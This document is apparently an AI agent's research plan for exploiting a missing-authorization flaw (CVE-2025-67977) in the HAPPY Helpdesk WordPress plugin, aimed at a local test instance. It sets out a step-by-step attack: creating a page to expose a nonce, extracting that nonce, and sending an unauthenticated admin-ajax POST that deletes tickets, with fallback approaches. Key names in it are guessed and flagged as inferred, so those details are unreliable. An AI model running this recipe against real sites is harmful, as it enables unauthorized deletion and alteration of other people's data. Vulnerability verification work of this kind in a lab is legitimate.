HAPPY <= 1.0.8 - Missing Authorization

This research plan outlines the steps required to analyze and exploit CVE-2025-67977, a missing authorization vulnerability in the HAPPY – Helpdesk Support Ticket System plugin for WordPress.

1. Vulnerability Summary

• Vulnerability: Missing Authorization
• Affected Plugin: HAPPY – Helpdesk Support Ticket System (slug: happy-helpdesk-support-ticket-system)
• Affected Versions: <= 1.0.8
• Vulnerable Function: Likely an AJAX handler registered with wp_ajax_nopriv_ that performs a privileged action (e.g., ticket deletion, status update, or settings modification) without calling current_user_can().
• Impact: Unauthenticated attackers can perform unauthorized actions, such as deleting support tickets or modifying ticket data, which should be restricted to agents or administrators.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• Vulnerable Action: happy_delete_ticket (inferred) or happy_ticket_delete (inferred).
• HTTP Parameter: id or ticket_id (the ID of the ticket to manipulate).
• Authentication: Unauthenticated (vulnerability exists in the nopriv AJAX hook).
• Preconditions: A valid WordPress nonce for the action must be obtained (unless the nonce check is also missing).

3. Code Flow (Inferred)

1. Entry Point: The plugin registers AJAX hooks in a class constructor (likely in inc/classes/class-ajax.php or includes/class-happy-ajax.php).
2. Hook Registration: add_action( 'wp_ajax_nopriv_happy_delete_ticket', array( $this, 'delete_ticket' ) );
3. Vulnerable Function: The delete_ticket function is invoked.
4. The Flaw: Inside delete_ticket, the code may check for a nonce using check_ajax_referer() or wp_verify_nonce(), but it fails to verify the user's capabilities using current_user_can( 'manage_options' ) or a similar check.
5. The Sink: The function proceeds to call wp_delete_post( $_POST['id'] ) or a direct database query via $wpdb.

4. Nonce Acquisition Strategy

Support plugins typically enqueue scripts on pages where the helpdesk interface is displayed.

1. Identify Shortcode: Look for shortcodes like [happy_ticket_system], [happy_create_ticket], or [happy_support_center] in the plugin code.
2. Create Trigger Page: Use WP-CLI to create a public page containing the shortcode to force the plugin to enqueue its JavaScript and localize the nonce.

   wp post create --post_type=page --post_title="Support" --post_status=publish --post_content='[happy_ticket_system]'
   

3. Extract Nonce: Use browser_navigate to visit the new page and browser_eval to extract the nonce from the localized script object.
   • Inferred JS Variable: happy_helpdesk_obj or happy_ajax_vars.
   • Inferred Nonce Key: nonce or security.
   • Action: browser_eval("window.happy_helpdesk_obj?.nonce")

5. Exploitation Strategy

1. Setup Test Data: Create a "victim" ticket to be deleted.
2. Obtain Nonce: Follow the acquisition strategy above.
3. Send Exploit Request: Use the http_request tool to send a POST request to admin-ajax.php.
   • URL: http://localhost:8080/wp-admin/admin-ajax.php
   • Method: POST
   • Headers: Content-Type: application/x-www-form-urlencoded
   • Body: action=happy_delete_ticket&id=[TICKET_ID]&security=[NONCE] (Replace placeholders with actual values).

6. Test Data Setup

• Create a Ticket: Since tickets are likely a Custom Post Type (CPT), identify the CPT name (e.g., happy_ticket).

  # Check for the post type
  wp post-type list
  # Create a dummy ticket
  wp post create --post_type=happy_ticket --post_title="Vulnerable Ticket" --post_status=publish
  

• Identify Ticket ID: Note the ID returned by the creation command.

7. Expected Results

• HTTP Response: A success code (e.g., 200 OK or a JSON response {"success":true}).
• Functional Result: The ticket with the specified ID should be moved to the trash or permanently deleted from the WordPress database.

8. Verification Steps

1. Verify Deletion via WP-CLI:

   # Attempt to fetch the post. If it returns nothing or shows 'trash' status, exploit succeeded.
   wp post get [TICKET_ID] --field=post_status
   

2. Check Database Directly:

   wp db query "SELECT post_status FROM wp_posts WHERE ID = [TICKET_ID]"
   

9. Alternative Approaches

• Missing Nonce Check: If browser_eval fails to find a nonce, attempt the exploit without the security parameter, as the plugin might have missing nonce verification in addition to missing authorization.
• Other Actions: If happy_delete_ticket is not the vulnerable action, search the codebase for all wp_ajax_nopriv_ hooks:

  grep -r "wp_ajax_nopriv_" /var/www/html/wp-content/plugins/happy-helpdesk-support-ticket-system/
  

  Audit each resulting function for the absence of current_user_can(). Common targets include happy_close_ticket, happy_update_ticket, or happy_save_settings.